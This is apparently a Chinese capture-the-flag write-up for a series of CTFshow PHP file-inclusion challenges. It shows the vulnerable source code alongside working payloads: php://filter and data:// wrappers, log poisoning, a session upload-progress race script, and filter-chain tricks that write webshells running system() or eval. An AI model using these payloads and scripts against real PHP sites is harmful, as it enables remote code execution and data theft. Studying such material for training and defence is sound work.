CTFSHOW-文件包含
最后更新时间:
php中提供的文件包含函数
1 |
|
由于支持多种协议,所以也就为文件包含带来了多种攻击姿势
web78. 文件包含系列开始
题面如下,考查最基本的php伪协议
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}1
2
3
41.php://filter 主要用于读取源码
2.php://input 经常使用file_get_contents获取php://input内容
3.data:// 执行命令
4.file:// 访问本地文件系统所以就直接php://filter协议读取源码,目标猜测为flag.php。另外说一下include函数的特性,如果返回的内容为php代码,那么就会被执行;而如果未被识别为php代码,则会直接返回读取的内容。这也是为什么要用filter进行一个base64编码的原因
1
file=php://filter/read=convert.base64-encode/resource=flag.php
web79. 文件包含系列开始
题面如下,对php关键词进行了一个替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}试了一下大小写绕不过去,那么就更换另一个支持数据流封装的协议——data://
1
file=data://text/plain;base64,PD9waHAgc2hvd19zb3VyY2UoJ2ZsYWcucGhwJyk7IA==
web80. 文件包含系列开始
题面如下,过滤了php和data关键字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}诶php伪协议对于php://input是支持大小写的,所以可以大小写绕过(前面题不行不知道为啥)
web81.
题面如下,这下:给我过滤了,也就是直接使用伪协议是不行了,看看有没有可利用的日志文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}题目的中间件为nginx,我们试着访问一下
/var/log/nginx/access.log
{:height 282, :width 641}
可以利用,于是直接抓包忘日志里写shell即,之后再包含日志文件
web82. session文件包含
先看题面,过滤了
.
,所以日志包含也用不了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}针对PHP 在文件上传session相关的信息
这个特点告诉我们可以通过POST方式利用session.upload_progress将shell写入一个session中,然后包含getshell 接下来需要解决的问题是:1. 如何创建这个session文件 2. 能创建,怎么知道session文件的位置
针对PHP 5.4后 php.ini中的一些默认选项设置我们需要知道
1
2
3
4
51.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off关注最后一个设置,也就是说PHPSESSID值也为我们所控
此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置
PHPSESSID=flag
,PHP将会在服务器上创建一个文件:/tmp/sess_flag
。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值(注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session)这个关键信息同时解决了session文件创建和位置信息;只需要通过cookie传入文件名,POST传session.upload_progress对应的shell即可。然而,还有一个设置项
session.upload_progress.cleanup = on
不能忽略,这里就是说文件上传结束后,session即清楚,也就是session文件会被抹去,我们也就无法进行包含。这里就可以采用条件竞争的方式,再文件还未完全上传完时进行包含getshell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28# coding=gbk
import threading
import requests
url = "http://b48c883b-c8c0-4d1b-8d3e-c4b8bf0ab158.challenge.ctf.show/"
cookie = {'PHPSESSID': 'flag'}
data = {
"upload_progress_": 1,
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('nl fl0g.php'); ?>hacker"
}
def write(session):
while True:
r = session.post(url, cookies=cookie, data=data, files={'file': open('/Users/racerz/Desktop/fuzz.txt', 'r').read()})
def read(session):
while True:
r = session.get(url+"?file=/tmp/sess_flag")
print(r.status_code)
if "hacker" in r.text:
print(r.text)
break
session = requests.session()
for i in range(10):
threading.Thread(target=write, args=(session, )).start()
read(session)
web83. 继续包含
查看题面,可以看到首行多了warning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}查看一下session_destroy()
也就是说,仅需再调用一下session_start()即可恢复变量使用,不过脚本可以直接跑通
web84. 文件包含漏洞
题面如下,在文件包含之前调用了系统命令删除文件,本质利用还是条件竞争
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
web85. 继续包含
题面如下,对包含的文件内容做了过滤,不能含有
<
,但是依然可以条件竞争绕过,其实就是上一个线程if判断通过,下一个线程直接进行了include操作,这里需要增大点read函数的线程数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
web86. 继续秀
题面如下,这题对include目录做了限制,条件竞争
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
web87. 继续秀
题面如下,这里通过file_put_contents()将字符串写入制定文件,针对urldecode()可以采用双编码绕过;而主要是后面的die将会导致整个php程序退出执行,而后面的shell无法成功利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}新的知识点:[[谈一谈php://filter的妙用学习笔记]]
这里我就用php://filter过滤器的特性来解决,先采用string.strip_tags滤掉标签,再用convert.base64-decode解码shell;直接用base64的话就需要再凑两个字节(前面是`phpdie``共6个有效字节)
GET:
file=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
再经过双编码POST:
content=PD9waHAgc3lzdGVtKCdubCBmbConKTsgPz4= //<?php system(‘nl fl*’); ?>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#coding=gbk
from urllib.parse import quote
import requests
url = "http://d07e3b5f-56e3-4c61-90a5-9f0d4ea4f4e0.challenge.ctf.show/"
file = "%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30"
data = {
"content": "PD9waHAgc3lzdGVtKCdubCBmbConKTsgPz4="
}
r = requests.post(url=(url+"?file="+file), data=data)
print(r.text)
result = requests.get(url+"shell.php").text
print(result)
web88. 继续秀
题面如下,可以看到没有过滤data,可以利用data协议
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}1
2file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk7
由于过滤了+和=,所以要去掉
web116. misc+lfi
提示本地文件包含,直接带出源码
过滤了伪协议使用不了,试试直接包含
web117
题面如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);虽然一些过滤器被ban了,但是php://filter还是可以用,我们找找其它可用的过滤器
比如下面这个convert.iconv.*
所以针对我们要写的shell先经过编码,nnd没注意到utf给我过滤了
1
2
3
4
5
6
7<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "<\0?\0p\0h\0p\0 \0s\0y\0s\0t\0e\0m\0(\0'\0n\0l\0 \0f\0l\0*\0'\0)\0;\0 \0?\0>\0");
fclose($fp);
# system('nl fl*');
?>这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上。可以看到反转再反转就可以回来,而限制代码只经过一次反转变的不可解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#coding=gbk
from urllib.parse import quote
import requests
url = "http://3ef1d619-e0b0-4351-842d-8a093bbdf570.challenge.ctf.show/"
file = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php"
data = {
"contents": r"?<hp pe@av(l_$OPTSd[tosa]t;)>?"
}
r = requests.post(url=(url+"?file="+file), data=data)
print(r.text)
result = requests.get(url+"shell.php").text
print(result)